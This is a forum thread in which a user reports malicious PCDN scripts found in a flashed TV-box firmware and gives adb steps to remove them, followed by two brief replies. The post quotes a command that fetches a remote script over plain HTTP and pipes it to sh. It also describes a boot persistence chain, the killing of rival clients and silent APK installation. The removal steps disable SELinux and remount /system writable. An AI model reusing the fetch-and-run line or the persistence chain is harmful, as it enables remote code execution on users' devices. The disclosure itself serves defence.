在刷机包内发现的几个恶意脚本,基本上每个刷机包里都存在恶意脚本

362514 · 发表于 2026-11-13 17:02

今天闲来无事，想给电视盒子刷机机玩玩

刷机后，发现里面带有PCDN脚本
现在我把找到的恶意脚本路径贴出来
#恶意，远程任意代码执行 curl -s http://jialiangos.com/?s=up | sh — 把服务端返回内容直接交给 sh 执行，无 HTTPS、无签名、无 md5，20 轮循环后还无条件再执行一次
/system/bin/run.sh

#恶意加载器开机 sleep 7 后每 600 秒拉起一次 run.sh，常驻不退
/system/bin/startrun.sh

#恶意，PCDN 抢占 + 服务端下发上报 cpuid/mac；?s=business 返回 1 才启动，否则 pkill -9 yunzhidian/yzd.sh/AIrship-agent、mv /system/bin/yunzhidian → yunzhidian2、rm -rf /data/.airship、rm -rf /system/bin/start-pai.sh — 即杀掉其他 PCDN 客户端抢量；再每 120 秒用 ?s=pcdn&md5=...&model=mc211_1 拉 /pcdn/m401_start.sh 覆盖 /data/jialiang/start.sh 并 chmod 755 执行
/system/bin/startrun_jl.sh

#恶意核心 ① 从 jialiangos.com?s=getid 取 sn，拼成 JLY40100xxxx 作为设备 ID；② mount -o remount,rw /system、remount,rw / 后写入 /system/bin/mac、/system/etc/bly-id、/data/mac、/sdcard/mac.txt — 篡改设备标识 + 把 system 分区长期挂成可写（重大安全降级）；③ 后台拉起 startrun_jl.sh；④ 首次开机静默安装 /system/preinstall 下全部 APK
/system/bin/startsoftdetector.sh

#被改造成投递点标准开机脚本名，内容里 cd /system/bin/ && ./startsoftdetector.sh — 把上面那条链挂进启动流程
/system/bin/install-recovery.sh

解决办法
使用无线网络，打开adb连接
执行下面命令
adb shell su -c "setenforce 0"
adb shell su -c "mount -o remount,rw /system"
adb shell su -c "mount -o rw,remount /system"adb shell su -c "mount -o remount,rw /"
adb shell su -c "rm -f /system/bin/run.sh /system/bin/startrun.sh /system/bin/startrun_jl.sh /system/bin/startsoftdetector.sh /system/bin/execmd.sh /system/bin/schedulecmd.sh /system/etc/init/execmd.rc"

表情包老铁 · 发表于 2026-11-13 17:25

看不懂，有啥影响吗

技术为本 · 发表于 2026-11-13 18:21

好东西啊，谢谢楼主分享

		自动登录	找回密码
密码			立即注册

[使用心得] 在刷机包内发现的几个恶意脚本,基本上每个刷机包里都存在恶意脚本

站长推荐 /2